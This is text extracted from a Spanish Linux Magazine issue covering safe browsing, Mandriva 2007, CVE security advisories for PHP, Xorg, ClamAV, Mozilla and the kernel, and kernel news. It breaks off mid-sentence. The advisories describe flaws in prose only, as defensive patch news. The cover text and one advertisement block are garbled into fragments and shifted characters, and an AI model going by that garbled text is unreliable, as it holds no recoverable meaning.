Date post: | 06-Mar-2016 |
Category: |
Documents |
Upload: | linux-new-media-spain-sl |
View: | 317 times |
Download: | 23 times |
Na
veg
ac
ión
Se
gu
raA
ntsp
2p R
ea
ltime
Tor y P
rivox
y Sa
mb
a 4 J
AC
K Tra
ils RA
ID X
rma
p S
up
eru
sua
rios O
P G
ree
nsto
ne
PythonPlugins Web 2.0
para GIMP p49
Audio con JACKSonido profesional en el escritorio p68
NÚMERO 20 • P.V.P 6,95 €
TrailsAplicaciones exprés conel Rails para Java p44
W W W . L I N U X - M A G A Z I N E . E S
LIN
UX M
AGAZIN
E
NÚMERO 20
Edición enCastellano
NAVEGACIÓNSEGURA
Cómo evitar que te cacen
Phishing: cómo funciona, cómo eludirlo p21
Navegación anónima con Tor y Privoxy p26
P2P secreto con Antsp2p p29
Cold WarUn fotógrafo tras el telón
de acero p86
Samba 4La integración total en redes
Windows p60
GreenstoneOrganización de documentos en
bibliotecas p34
Free MandrivaLinux 2007
Incluye versionesde 32 y 64 bits
Soporte paraescritorios 3D
Más de 4 GBs desoftware
RAID explicadoLa mejor tolerancia a fallos al mejor precio p39
8PSMEXJEF�4FSJFT
8PSME�T�MFBEJOH�5SBEF�&WFOU�GPS�-JOVY�BOE�0QFO�4PVSDF�JO�CVTJOFTT
-JOVY8PSME�$POGFSFODF���&YQP��o
6USFDIU� 0DUPCFS����o��� ������� XXX�MJOVYXPSMEFYQP�OM
-POEPO� 0DUPCFS����o��� ������� XXX�MJOVYXPSMEFYQP�DP�VL
$PMPHOF� /PWFNCFS����o��� ������� XXX�MJOVYXPSMEFYQP�EF
(VBOH[IPV� /PWFNCFS����o��� ������� XXX�MJOVYXPSMEDIJOB�DPN
/FX�:PSL� 'FCSVBSZ����o��� ������ XXX�MJOVYXPSMEFYQP�DPN
.FYJDP�$JUZ� 'FCSVBSZ����o�.BSDI�� ������� XXX�MJOVYXPSMEFYQP�DPN�NY
5PSPOUP� "QSJM����o�.BZ�� ������� XXX�MXOXFYQP�QMVNDPN�DB
.BESJE� "QSJM ������� XXX�MJOVYXPSMETVNNJU�DPN�FT
+PIBOOFTCVSH� .BZ ������� XXX�MJOVYXPSMEFYQP�DPN�[B
.JMBO� .BZ ������� XXX�MJOVYXPSMETVNNJU�JU
4BP�1BVMP� .BZ ������� XXX�MJOVYXPSMEFYQP�DPN�CS
4FPVM� +VOF ������� XXX�MJOVYXPSMELPSFB�DPN
4BO�'SBODJTDP� "VHVTU���o�� ������� XXX�MJOVYXPSMEFYQP�DPN
4UPDLIPMN� 4FQUFNCFS ������� XXX�MJOVYXPSMETVNNJU�TF
6USFDIU� 0DUPCFS ������� XXX�MJOVYXPSMEFYQP�OM
*/5&3/"5*0/"-�.&%*"�410/403
Así que nos fuimos a 1985.
Habíamos hecho los deberes
y durante los meses prece-
dentes nos habíamos cardado el pelo,
cosido extensiones a los cuellos de las
camisas y desollado un viejo sofá de
skai rojo que encontramos en el
sótano del laboratorio para hacernos
cazadoras. Nuestro camuflaje era per-
fecto. Para estar preparados
psicológicamente, habíamos descar-
gado todos los LPs de Duran Duran,
aprendido los pasos para resolver el
cubo de Rubik en un tiempo razona-
ble y empollado todas las entregas de
“Karate Kid” . Estábamos listos.
El profesor Brown nos había adver-
tido sobre los peligros que entrañaba
interferir en el pasado, pero tanto Z
como yo coincidimos en privado en
que, si se mira pero no se toca ¿qué
gracia podría tener? Así que cuando a
las 12 del mediodía del 21 de noviem-
bre de 1985 entramos en la cafetería y
vimos al chaval limpiando pantalla
tras pantalla de Pac-Man, creímos
haber encontrado el candidato ideal
para nuestro experimento.
Una discreta entrevista nos reveló
que, el sujeto en cuestión, de nombre
Karl, estudiaba una ingeniería, tenía
acceso a los PCs de su facultad y era
el orgulloso dueño de un Commodore
64. No había duda: era nuestro hom-
bre.
Nuestro razonamiento era que, si
conseguíamos convencer a otro geek,
aparte de RMS, de las bondades del
modelo FLOSS, pues que, bueno,
podríamos incrementar los apóstoles
del movimiento en un 100% de un
solo golpe. Convencimos a Karl de
que nos acompañara a nuestro crono-
puerto (camuflado en un Delorean
DMC12 modificado). Pensamos que si
devolvíamos al sujeto al mismo lugar
unos momentos después de nuestra
partida de 1985, no se podría
considerar secuestro.
Si el experimento tenía
éxito, reclutaríamos a más y
más geeks de la época con el
fin de que el movimiento tuviera una
comunidad incluso antes de su popu-
larización, dándonos unos años de
ventaja sobre otros modelos de
desarrollo. Elegimos los años ochenta
por ser la década en la que se empezó
a popularizar la informática domés-
tica y en la que creíamos que habría
un caldo de cultivo apropiado donde
atrapar espécimenes con la mentali-
dad apropiada para nuestros fines.
Qué equivocados estábamos.
Nuestro primer chasco fue, ya de
vuelta en el 2006, al notar la cara de
nerviosa anticipación y el cuidado
con el que se abrochaba el cinturón
de seguridad cuando nos disponíamos
a trasladar al sujeto desde el edificio
de Investigaciones Metadimensiona-
les al Centro de Cálculo de la
Universidad.
”¿Qué te pasa?” Le preguntó Z.
“Me estoy preparando para el des-
pegue” dijo, con los labios fruncidos.
Su decepción fue patente cuando mi
Fiat Tipo salió rodando del aparca-
miento sin levantar el vuelo.
A los pocos minutos de viaje, su
cara de preocupación no le había
abandonado.
”¿Estás bien?” dije, examinándole
por el retrovisor.
“Sí, claro. Pero ¿porqué nadie lleva
su uniforme?” inquirió, examinando a
los numerosos alumnos que paseaban
por el campus a esas horas.
Z fue más rápido que yo. “Día de
lavandería” aseveró.
”¡Ah!”, pero Karl no parecía con-
vencido.
Una vez en el centro, nos sentamos
con él delante de una máquina
dispuesto a iniciarle en las maravillas
de Linux. Representamos para él toda
la función: instalación,
configuración, manejo. Elegimos una
distro agnóstica para que no tuviera
una predilección por distribuciones
comerciales cuando éstas surgieran
en su línea temporal.
La pantalla TFT y el ratón óptico
parece que le impresionaron, pero la
desilusión le llegó pronto cuando se
dio cuenta de que tenía que teclear en
vez de simplemente enunciar instruc-
ciones en voz alta. Notamos que le
perdíamos definitivamente cuando
nos pusimos a configurar con cat, less
y vi. “Esto es tan 1970”, suspiró en
un momento dado.
Nos habíamos equivocado. En vez
de enseñarle la esencia de Linux,
debimos habernos centrado en repro-
ducción de DVDs, Linux en PDAs y
móviles y escritorios con XGL. Pero
ya era tarde. Cada minuto que Karl
pasaba en nuestra época nos ponía
más y más en peligro de que alguien
lo descubriera.
De vuelta en el cronopuerto y justo
antes de partir, Karl se giró hacia no-
sotros y con una expresión atribulada
nos dijo: “Pero, una cosa, ¿es que no
habéis oído hablar de algo nuevo, una
cosa llamada… Windows?”
3
EDITORIAL
3Número 20W W W . L I N U X - M A G A Z I N E . E S
Estimado Lector de Linux Magazine
Nos sentimos orgullosos de nuestrosorígenes como publicación, que seremonta a los primero días de larevolución Linux. Nuestra revistahermana, la publicación alemanaLinux Magazine, fundada en 1994, fuela primera revista dedicada a Linux enEuropa. Desde aquellas tempranasfechas hasta hoy, nuestra red yexperiencia han crecido y se hanexpandido a la par que la comunidadLinux a lo ancho y largo del mundo.Como lector de Linux Magazine, teunes a una red de informacióndedicada a la distribución delconocimiento y experiencia técnica.No nos limitamos a informar sobre elmovimiento Linux y de Software Libre,sino que somos parte integral de él.
DÓNDE NOSEQUIVOCAMOS
Paul C. Brown
Director
4 Número 20
CONTENIDOS • Linux Magazine nº 20
W W W . L I N U X - M A G A Z I N E . E S
33 Libros
O’Reilly se caracteriza por ser una edito-
rial que, además de publicar libros con-
vencionales sobre tecnología y en espe-
cial sobre informática, gusta de romper
moldes y tomar riesgos en cuanto a for-
matos y contenidos. Esto, como vere-
mos, puede ser bueno y puede ser malo.
34 Greenstone
Greenstone es un conjunto de herramientas
que pueden ser usadas para la construcción
de nuestras propias bibliotecas digitales de
manera rápida y flexible.
39 RAID Explicado
Linux ofrece varias opciones para con-
seguir la promesa RAID de accesos rápi-
dos al disco duro y de seguridad de
datos.
42 Linkchecker
Si se busca una forma rápida de cazar
enlaces de un sitio Web que no llevan a
ninguna parte, entonces hay que probar
Linkchecker.
44 Trails: Rails para Java
Vamos a crear aplicaciones Java en una
fracción del tiempo normal de desarrollo
con el potente (y libre) entorno de tra-
bajo Trails.
49 Python: Plugins GIMP
La moda rige el diseño, y la moda ahora
mismo es que todas las cajas de texto en
la Web tengan las esquinas redondea-
das. Python puede ayudarnos a simplifi-
car esta tarea.
54 Perl: Nagios
Podemos crear un plugin en Perl para
aprovechar la potencia de la herra-
mienta de monitorización Nagios.
59 Charly: Cancerbero
Cuando los puertos de un equipo empie-
zan a abrirse y cerrarse como ventanas
lanzadas al viento, es hora de que los
administradores presten atención.
17 Especial Navegación Segura
¿Sabes lo suficiente para navegar a salvo
de bucaneros y maleantes? Este mes os
mostramos cómo mantenerse alejado de
todo tipo de trampas.
21 Phishing y Pharming
Los pharmers y los phishers van tras
nuestra valiosísima información
financiera. Mostramos cómo proteger
nuestros intereses.
26 Privoxy y Tor
La dirección IP del usuario permite a las
empresas recopilar información para
elaborar un perfil de sus actividades en
Internet. Tor y Privoxy pueden ayudarle
a proteger su privacidad.
29 Antsp2p
Compartir archivos es el pasatiempo
favorito de muchos usuarios de Internet.
Las aplicaciones convencionales para
compartir archivos no son anónimas. El
proyecto Antsp2p cambia esto.
DESARROLLO
LINUX MAGAZINE
3 Editorial
6 DVD Linux Magazine
8 Inseguridades
10 Noticias Kernel
12 Productos
14 Correo
94 Eventos
94 Información de Contacto
95 Subscripciones
97 Linux Local
98 Próximo Número
EVALUACIÓN
PRÁCTICO
PORTADA
ADMINISTRACIÓN
5Número 20W W W . L I N U X - M A G A Z I N E . E S
79 Trabajo en Equi/PO
En la primera entrega de esta serie
hemos hablado de la tecnología gettext;
ahora es el momento de resumir sus
ventajas pero también de señalar sus
defectos. Qué triste sería el artículo si
no pudiéramos hablar también de las
soluciones, de las alternativas...
84 Línea de comandos: rsync
Rsync permite sincronizar datos tanto
en un ordenador local como en uno
remoto. Incluso puede ser usado con
SSH para la encriptación de datos. Des-
cubre cómo funciona.
86 Juegos: Cold War
El género del sigilo se estrena en nuestra
plataforma Linux y lo hace realmente a
lo grande con el fotógrafo surgido del
frio, Matt Carter en Cold War.
88 Konsultorio
Si tienes algún problema de
configuración, o simplemente quieres
conocer mejor cómo funciona Linux,
Klaus Knopper, el creador de Knoppix,
te ayuda. Este mes: cuelgues, ratones
USB e impresoras.
91 Opinión
Jose María Lancho, abogado de Legal-
venture, nos advierte de los peligros y
tretas de los lobbies pro-patentes.
COMUNIDAD
MÁS DETALLES EN LA Pág 6
60 Samba 4
A finales de enero se publicó una ver-
sión técnica previa de Samba 4. Vamos a
echarle un vistazo a lo que nos trae esta
nueva versión del servidor de ficheros
Samba.
64 Superusuario con OP
La herramienta OP es una alternativa a
sudo poco conocida, con el beneficio
añadido de simplificar la configuración,
que presenta una solución más intuitiva
para ejecutar comandos con (algunos)
privilegios de root.
68 Audio con JACK
El servidor de audio JACK ofrece una
alternativa profesional para el sonido del
escritorio Linux.
74 Desktopía: Xrmap
Si deseas llegar a convertirte en un
experto en geografía mundial ayúdate
con la CIA.
76 Banshee
En la mitología celta, las llamadas de
duelo del Banshee se oyen cuando un
miembro de la familia está próximo a
morir. La herramienta Banshee de Linux
también hace ruido, pero afortunada-
mente mucho más alegre. Este otro
Banshee te ayuda a organizar (y repro-
ducir) tu colección de música.
LINUX USER
LINUX USERADMINISTRACIÓN � Free Mandriva Linux 2007
� 4,4 GB de software
� Versiones de 32 y 64 bits
� Instalación asistida
� Escritorios avanzados: efectos
3D y transparencias
� Preparado para Web 2.0
� Blogging, podcasting y admi-
nistración de contenidos
� Free Mandriva Linux 2007
� 4,4 GB de software
� Versiones de 32 y 64 bits
� Instalación asistida
� Escritorios avanzados: efectos
3D y transparencias
� Preparado para Web 2.0
� Blogging, podcasting y admi-
nistración de contenidos
… Y en el DVD de Linux Magazine
MANDRIVA 2007
DVD LINUX MAGAZINE
6 Número 20 W W W . L I N U X - M A G A Z I N E . E S
sistema (harddrake 10.4.65, rpmdrake 3.1.1 y
userdrake 1.2.4), tenemos a nuestra disposi-
ción software típico de Mandriva, pero que no
suele encontrarse en los DVDs de otras distros,
como por ejemplo, el configurador de firewalls
basado en IP Tables, Shorewall (versión 3.2.3)
o el excelente software para la creación de
música, Rosegarden (versión 4-1.2.3).
Asimismo, el DVD de Linux Magazine
incluye las versiones tanto de 32 como de 64
bits de este sistema operativo, haciendo más
sencilla la instalación de Mandriva en máqui-
nas de ambas arquitecturas.
Preparado para 3DUna de las mayores novedades de Mandriva
2007 es que es la primera distro que incluye de
serie muchas de las novedades que se conver-
tirán (imaginamos) en habituales en los
escritorios del futuro. Mandriva incluye
Mandriva, la distribución conocida
anteriormente como Mandrake, es
una de las distros de solera, una dis-
tro de cuando sólo había un puñado y, en
palabras de su fundador Gael Duval, “Slack-
ware venía en 50 diskettes”.
La primera versión de Mandrake apareció
en junio de 1998 y respondía a la idea de
Duval de crear una distro que “tuviera el
potencial de ser una alternativa a Windows,
incluso de ser un sustituto completo de Win-
dows”. De hecho, su objetivo siempre fue
crear una que fuese incluso más fácil de utili-
zar que Windows.
Esta filosofía llevó a los artífices del enton-
ces Mandrake a la creación de un centro de
control que permitía administrar el sistema a
través de múltiples asistentes y que pudiera
controlar desde la instalación de software
hasta la configuración de un escáner en red.
A pesar de las facilidades que Mandriva
ponía a disposición del usuario, nunca se
sacrificaron ni la flexibilidad ni la potencia del
sistema, siendo un SO que funciona igual-
mente bien como sistema de escritorio, como
servidor o como filtro de seguridad, existiendo
versiones específicas para cada usuario y cada
entorno.
El softwareMandriva tiene una activa comunidad de
usuarios, lo que le asegura una ingente canti-
dad de software. En la versión que nos ocupa,
Mandriva Linux Free 2007, aparte de venir
con las versiones más recientes de las aplica-
ciones a los que nos tienen acostumbrados las
distros mayoritarias (OpenOffice 2.0.3, Gimp
2.3.10, Kaffeine 0.8.1 y Firefox 1.5.0.6) y los
asistentes que facilitan la administración del
soporte para escritorios 3D, renderizado alea-
torio de widgets (lo que permite, por ejemplo,
que las ventanas ondeen al moverlas) y verda-
deras transparencias.
Hay que advertir, sin embargo, que estas
características tienen su lado negativo: suelen
ser muy glotonas con los recursos del sistema
y sólo funcionan de manera ágil con máqui-
nas que dispongan de potentes tarjetas
gráficas (ver cuadro Requisitos del sistema).
Instálalo YaMandriva es una de las distros más populares
en todo el mundo. Su solidez, facilidad de uso
y flexibilidad garantizan una experiencia de
usuario sobresaliente a quienes la utilizan.
Tanto si se requiere un completo sistema ofi-
mático, como un firewall o un servidor web, el
DVD de Mandriva le proporciona todo lo que
necesita. Pruébelo ya.
CPU: Cualquier procesador Pentium y
AMD, i586 o superior
RAM: 256 MB mínimo, 512 recomendado
Espacio en disco: 2 GB mínimo, 4 GB
recomendado
Tarjeta gráfica: NVIDIA (soporta SLI),
ATI, Intel i8xx y i9xx, SIS, Matrox, VIA. El
escritorio 3D requiere NVIDIA GeForce o
superior, ATI Radeon 7000 o superior, o
Intel i830 a i945.
Serial ATA: La mayoría de los controla-
dores soportados en modo no-RAID y
algunos en modo RAID.
Requisitos del Sistema
Es práctica común, tarde o temprano, que el usuario habitual de cualquier distro no encuentre
en su DVD el paquete que necesita. ¿Qué hacer? Acudir a los repositorios en Internet.
Pero en vez de bajarse el paquete directamente al disco duro e instalar, lo más inteligente es
dejar que urpmi, el programa encargado de instalar y configurar los programas, haga el tra-
bajo sucio.
Para ello hemos de configurar urpmi para que, no sólo busque paquetes en el disco duro, sino
que también los busque en los repositorios FTP distribuidos a lo largo y ancho del globo.
Esto se puede hacer de diversas maneras, pero la más sencilla es a través de la línea de
comandos con EasyUrpmi. A pesar de lo que pudiera parecer, EasyUrpmi no es una aplicación
instalada en nuestra máquina, sino un servicio web y, para utilizarlo, no hay más que acercarse
a la página http://easyurpmi.zarb.org/, escoger la versión, la arquitectura de nuestro ordenador,
y el tipo de asistente de instalación (urpmi o smart, aunque recomendamos urpmi) de las listas
desplegables.
A continuación pulsamos en “Proceed to step 2” (Proceder a paso 2) para seleccionar la locali-
zación geográfica del lugar del que vamos a descargar los paquetes. Se recomienda, en aras
de la rapidez, seleccionar un servidor “cerca de casa”. Por ejemplo, hay un servidor
(ftp.cica.es) localizado en Sevilla, que es ideal para los usuarios españoles.
Una vez seleccionados los servidores para cada uno de los repositorios, pulsamos en
“Proceed to step 3”.
En este paso, EasyUrpmi proporciona los comandos que hemos de introducir (como root) en
la línea de comandos para actualizar la lista de repositorios. Como estas instrucciones son un
poco largas y pueden teclearse incorrectamente, lo suyo es copiarlas al porta-papeles para
luego pegarlas en un terminal.
• Seleccionamos el texto que nos muestra EasyUrpmi y pulsamos [Ctrl]+[C].
• Abrimos una consola (por ejemplo konsole) y nos hacemos root con su.
• Pulsamos [Ctrl]+[Shift]+[Ins] para pegar el texto en la línea de comandos.
• Comienza el proceso de descarga de listas de paquetes. Al ser bastante voluminoso, puede
tardar un rato. Puede que necesite pulsar [Enter] al finalizar para validar la última entrada
que nos ofrece EasyUrpmi.
• Salimos del modo root escribiendo exit.
La próxima vez que arranquemos nuestro asistente de instalación de software comprobare-
mos que el número de paquetes disponibles ha aumentado sensiblemente.
Más software
DVD LINUX MAGAZINE
7Número 20W W W . L I N U X - M A G A Z I N E . E S
SOFTWARESistema
• Kernel 2.6.17
• GCC 4.1.1
• Xorg 7.1.0
Escritorios
• KDE 3.5.4
• Gnome 2.16
Ofimática e Internet
• OpenOffice 2.0.3
• Koffice 1.5.90
• Firefox 1.5.0.6
• Thunderbird 1.5.0.5
• Kmail 3.5.4
• Evolution 2.8.0
• Gaim 2.0.0
Multimedia y gráficos
• Gimp 2.3.10
• Kaffeine 0.8.1
• K3b 0.12.17
• Rythmbox 0.9.5
3D
• Xgl 0.0.1
Como viene siendo habitual en este extraño mundo de absurdas legalidades y licencias truculentas, las distros comerciales no pueden
ofrecer todo el software disponible por miedo a incurrir en infracciones de triviales patentes o de violar alguna retorcida ley diseñada
para favorecer a cierta manipuladora oligarquía.
El tipo de software excluido por mandato judicial incluye cosas tan pedestres como librerías que decodifican DVDs (comprados legal-
mente) para su visionado o programas que permiten la transferencia de ficheros entre pares, aunque dichos ficheros sean las fotos de las
vacaciones.
Como usuarios, podemos elegir el software que nos instalemos, y otros usuarios, como no puede ser de otra manera en una comunidad
donde una de las premisas es ayudarse mutuamente, nos lo pone fácil. Para Mandriva existe la Penguin Liberation Front (http://plf.zarb.
org/) un grupo de voluntarios que se dedican a empaquetar y poner en sus servidores los paquetes prohibidos a Mandriva por las corpo-
raciones que pretenden controlar nuestros derechos. Es un sitio que vale la pena visitar.
… Y más software
Figura 2: Mandriva posee un menú para las aplicaciones muy
elaborado e intuitivo.
Figura 1: El completo panel de Mandriva nos muestra todas las
opciones de configuración disponibles.
INSEGURIDADES
Schlagwort sollte hier stehenLINUX USERINSEGURIDADES
� PHPPHP es un lenguaje de scripting embebido
en HTML usado frecuentemente con el ser-
vidor Web HTTP de Apache.
La función phpinfo() de PHP no sanitiza
adecuadamente las cadenas largas. Un ata-
cante podría usar esto para llevar a cabo
ataques de scripting multisitio contra sitios
que tienen scripts PHP disponibles pública-
mente y que llaman phpinfo().
(CVE-2006-0996).
Se ha encontrado que la función PHP
html_entity_decode() no es segura a nivel
binario. Un atacante podría usar este fallo
para revelar una parte de la memoria del
servidor atacado. Con objeto de que este
problema sea explotable, el sitio de destino
necesitaría tener un script PHP que llamara
a la función html_entity_decode() con una
entrada que no filtrase por confianza del
usuario y presentara los resultados. (CVE-
2006-1490).
Se ha encontrado que la salida de error
de PHP no escapa correctamente HTML en
algunos casos. Un atacante podría usar este
fallo para realizar ataques de scripting
multisitio contra sitios donde están
habilitados tanto display_errors como
html_errors. (CVE-2006-0208).
Se ha encontrado un error en la valida-
ción de la entrada en la función
“mb_send_mail()”. Un atacante podría usar
este fallo para inyectar cabeceras arbitrarias
en un correo enviado vía script llamando a
la función “mb_send_mail()” donde el
parámetro “To” puede ser controlado por el
atacante. (CVE-2005-3883).
Se descubrió un fallo de desbordamiento
de búfer en uw_imap, el Servidor IMAP de
la Universidad de Washington. php-imap
está compilado contra las librerías de c-
client estáticas desde imap y además
necesita ser recompilada contra la versión
fijada. �
Referencia Gentoo:GLSA-200605-08
Referencia Mandriva:MDKSA-2006:074
Referencia Red Hat: RHSA-2006:0276-9
Referencia Suse: SUSE-SA:2006:024
� Xorg-X11Xorg es una implementación de código
abierto de un sistema X Window. Propor-
ciona la funcionalidad de bajo nivel básica
de las que hacen uso interfaces de usuario
gráficas como GNOME y KDE.
Se ha descubierto un fallo de desborda-
miento de búfer en la extensión RENDER
del servidor Xorg. Un cliente autorizado
malicioso podría explotar este problema y
causar una denegación de servicio (colgar
el sistema) o ejecutar código arbitrario
potencialmente con privilegios de super-
usuario en el servidor Xorg.
(CVE-2006_1526). �
Referencia Gentoo: GLSA-200605-02
Referencia Mandriva:MDKSA-2006:081
Referencia Red Hat: RHSA-2006:0451-9
Referencia Slackware: SSA:2006-123-01
Referencia Suse: SUSE-SA:2006:023
� ClamAVClamAV es un escáner de virus con licencia
GPL.
ClamAV contiene vulnerabilidades de
formato código de registro (CVE-2006-1615).
8 Número 20 W W W . L I N U X - M A G A Z I N E . E S
Distribuidor Fuente Seguridad ComentarioDebian Info:http://www.debian.org/security/ Los avisos de seguridad actuales se in-
Lista:http://www.debian.org/debian-security-announce/ cluyen en la página de inicio. Los avisos
Referencia:DSA-…1) se proveen como páginas HTML con
enlaces a los parches. Los avisos también
incluyen una referencia a la lista de
correo.
Gentoo Info:http://www.gentoo.org/security/en/index.xml Los avisos de seguridad actuales para
Foro:http://forums.gentoo.org/ la lista Gentoo en el sitio web de
Lista:http://www.gentoo.org/main/en/lists.xml seguridad de Gentoo enlazan desde la
Referencia:GLSA:… 1) página principal. Los avisos se presentan
en HTML con códigos para fusionar las
versiones corregidas.
Mandrake Info:http://www.mandrakesecure.net Mandrakesoft posee su propios sitio web
Lista:http://www.mandrakesecure.net/en/mlist.php que versa sobre temas relacionados con
Referencia:MDKSA:… 1) la seguridad.Entre otras cosas,incluye
avisos seguridad y referencias a las
listas de correo.Los avisos son páginas
HTML,pero no contienen enlaces a los
parches.
Red Hat Info:http://www.redhat.com/errata/ Red Hat archiva los fallos de seguridad
Lista:http://www.redhat.com/mailman/listinfo/ bajo lo que denominan erratas.A
Referencia:RHSA-… 1) continuación los problemas para cada
versión de Red Hat se agrupan.Los avisos
de seguridad se proveen como una
página HTML con enlaces a los parches.
Slackware Info:http://www.slackware.com/security La página de inicio contiene enlaces al
Lista:http://www.slackware.com/lists/(slackware-security) archivo de seguridad de la lista de correo.
Referencia: [slackware-security]… 1) No existe información adicional sobre
seguridad en Slackware.
Suse Info:http://www.suse.de/en/private/support/ Ya no existe un enlace a la página de
security/index.html seguridad tras un remodelado en el sitio
Parches:http://www.suse.de/en/private/ web de SuSE.Existe información en la
download/updates Lista:suse-security-announce lista de correos y los avisos. Los parches de
Referencia:SUSE-SA… 1) seguridad para versiones individuales de
SuSE Linux se muestran de color rojo en el
sitio de actualizaciones generales.
Contiene una corta descripción de la
vulnerabilidad que soluciona el parche.1) Todos los distribuidores muestran correos de seguridad en el campo Subject.
POLITICAS DE SEGURIDAD DE LAS DISTRIBUCIONES MAYORITARIAS
INSEGURIDADES
Han sido encontrados algunos erro-
res en la manera en la que Mozilla
procesa ciertos fragmentos de javas-
cript. Una página web maliciosa
podría ejecutar instrucciones javas-
cript arbitrarias con los permisos de
“chrome”, permitiendo que la página
robe información sensible o instale
software dañino. (CVE-2006-1727,
CVE-2006-1728, CVE-2006-1733, CVE-
2006-1734, CVE-2006-1735,
CVE-2006-1742).
Se han encontrado algunos fallos en
la manera en la que Mozilla procesa
páginas web malformadas. Un ata-
cante, con una página web
maliciosamnete manipulada, podría
causar la ejecución de código arbitra-
rio con los privilegios del usuario
ejecutando Mozilla. (CVE_2006-0748,
CVE_2006-0749, CVE_2006-1730, CVE-
2006-1737, CVE_2006-1738,
CVE-2006-1739, CVE-2006-1790).
Se ha encontrado un error en la
manera en la que Mozilla presenta el
icono del sitio seguro. Si un navegador
se configura para presentar por
defecto el diálogo de aviso modal de
sitio seguro, puede ser posible engañar
al usuario haciéndole creer que está
viendo un sitio seguro. (CVE-2006-
1740).
Se ha encontrado un fallo en la
manera en la que Mozilla permite
eventos de mutación javascript en ele-
mentos de entrada de formularios. Se
podría crear una página web maliciosa
de tal modo que cuando un usuario
presenta una formulario, un fichero
arbitrario podría ser cargado por el
atacante. (CVE_2006-1729).
Se ha encontrado un fallo en la
manera en la que Mozilla ejecuta el re-
envío de correo en línea. Si un
atacante puede inducir a un usuario a
que mande en línea un mensaje de
correo maliciosamente manipulado, es
posible que el mensaje ejecute javas-
cript con los permisos de “chrome”.
(VCVE_2006-0884). �
Referencia Debian: DSA-1046-1
Referencia Gentoo: GLSA-200605-09
Referencia Mandriva: MDKSA-2006:075,
MDKSA-2006:078
Referencia Red Hat: RHSA-2006:0328-15,
RHSA-2006:0329-13, RHSA-2006:0330-15
Referencia Slackware: SSA:2006-120-01
Referencia Suse: SUSE-SA:2006:021,
SUSE-SA:2006:022
� Kernel Linux
El kernel Linux maneja las funciones
básicas del sistema operativo. Informes
recientes han puesto de manifiesto los
siguientes problemas:
• Un fallo en la implementación IPv6
permite a un usuario local causar una
denegación de servicio (bucles infini-
tos y cuelgues) (CVE-2005-2973,
importante)
• un fallo en la implementación puente
permite a un usuario remoto causar el
envío de paquetes spoof a través
envenenamiento de la tabla de envío
con frames caídos previamente. (CVE-
2005-3272, moderado)
• un fallo en el módulo atm permite a
un usuario local causar una denega-
ción de servicio (pánico) a través
ciertas llamadas a socket (CVE-2005-
3359, importante)
• un fallo en la implementación del
cliente NFS permite a un usuario local
causar una denegación de servicio
(pánico) a través de escrituras O-
DIRECT (CVE-2006-0555, importante)
• una diferencia en la operación
“sysretq” de los procesadores EM64T
(a diferencia de lo que ocurre en los
Opteron) permite a un usuario local
causar una denegación de servicio (el
sistema se cae) con el retorno de cier-
tas llamadas del sistema
(CVE-2006-0741 y CVE-2006-0744,
importante)
• un fallo en la implementación keyring
permite a un usuario local causar una
denegación de servicio (OOPS) (CVE-
2006-1522, importante)
• un fallo en la implementación enru-
tado IP permite a un usuario local
causar una denegación de servicio
(pánico) a través de una petición para
una ruta para una IP multicast (CVE-
2006-1525, importante)
• un fallo en la implementación SCTP-
netfilter permite a un usuario remoto
causar una denegación de servicio
(bucle infinito) (CVE-2006-1527,
importante)
• un fallo en el driver sg permite a un
usuario local causar una denegación
de servicio (el sistema se culega) a
través una transferencia dio a espacio
E/S de memoria mapeada (nmap)
(CVE-2006-1528, importante) �
Referencia Red Hat: RHSA-2006:0493-6
Además, Damian Put descubrió un desbor-
damiento de número entero en el
analizador cabeceras de PE de ClamAV
(CVE-2006-1614) y David Luyer descubrió
que ClamAV puede ser inducido fraudulen-
tamente a que lleve a cabo un acceso de
memoria inválido. (CVE-2006-1630).
Mediante el envío por correo de un
adjunto malicioso a un servidor de correo
ejecutando ClamAV, un atacante remoto
podría causar una Denegación de Servicio
o la ejecución de código arbitrario. Obsér-
vese que el desbordamiento en el
analizador del encabezamiento PE sola-
mente es explotable cuando se encuentra
deshabiliatda la opción Archive-MaxFile-
Size.
Ulf Härnhammar y un investigador anó-
nimo alemán descubrieron una
vulnerabilidad en el código del protocolo
de freshclam, una utilidad de la línea de
comandos responsable de la descarga e ins-
talación de las actualizaciones de las firmas
de virus para ClamAV. Esto podría llevar a
una denegación de servicio o potencial-
mente a la ejecución de código arbitrario. �
Referencia Debian: DSA-1050-1
Referencia Gentoo: GLSA 200604-06, GLSA
200605-03
Referencia Mandriva:MDKSA-2006:080
Referencia Suse: SUSE-SA:2006:020
� Mozilla, Firefox yThunderbirdMozilla es un navegador web de código
abierto, cliente de correo, cliente de
grupos de noticias, cliente de chat IRC
y editor HTML. Mozilla Firefox es un
navegador web de código abierto.
Mozilla Thunderbird es un cliente de
correo electrónico y de grupos de noti-
cias independiente.
Los expertos han encontrado varios
problemas de seguridad relacionados
con la suite de Mozilla. Estos proble-
mas también se aplican a herramientas
tales como al navegador Firefox y al
cliente de correo Thunderbird, basados
ambos en Mozilla.
Se han encontrado algunos fallos en
la manera en la que Mozilla procesa
código javascript malformado. Una
página web maliciosa podría modificar
el contenido de una página web
abierta diferente, posiblemente
robando información sensible o ini-
ciando un ataque de scripting
multisitio. (CVE-2006-1731, CVE-2006-
1732, CVE-2006-1741).
9Número 20W W W . L I N U X - M A G A Z I N E . E S
ESTADO DEL 2.4 Y ESTABILI-
DAD
El árbol 2.4 del kernel de Marcello Tosatti está
en un profundo estado de mantenimiento al
haberse detenido la portación inversa de
código para drivers de la rama 2.6. Con el de-
sarrollo del árbol 2.4 virtualmente parado y el
árbol 2.6 siguiendo su desarrollo, las cuestio-
nes concernientes a la estabilidad no pueden
más que volver a surgir una y otra vez. Si bien
se espera que las distribuciones de Linux se
hagan responsables de la mayor parte del pro-
ceso de estabilización de sus propios kernels,
y dados los intentos del árbol w.x.y.z para
acercar cada lanzamiento del kernel a una
mayor estabilidad, estos esfuerzos van más
bien encaminados a mejorar el tiempo de
conexión sin preocuparse del comporta-
miento general del kernel.
A medida que el 2.6 continúa desarrollán-
dose cambia sus interfaces, lo que obstaculiza
el desarrollo de terceros para escribir software
que funcione de manera fiable en toda la
gama de versiones 2.6. Este problema puede
agravarse a medida que transcurra el tiempo,
hasta que surja algo tan bueno como el anti-
guo ciclo de desarrollo de par/impar.
ESTADO DE DEVFS
Greg Kroah-Hartman continúa con su cam-
paña para eliminar DevFS del kernel. Desde el
lanzamiento del kernel 2.6.13, la opción de
activar DevFS no ha estado disponible para los
usuarios, aunque parece que nadie se ha
lamentado por ello. Desde entonces, Greg ha
remitido parches para todas las versiones del
kernel principales, parches que eliminan el
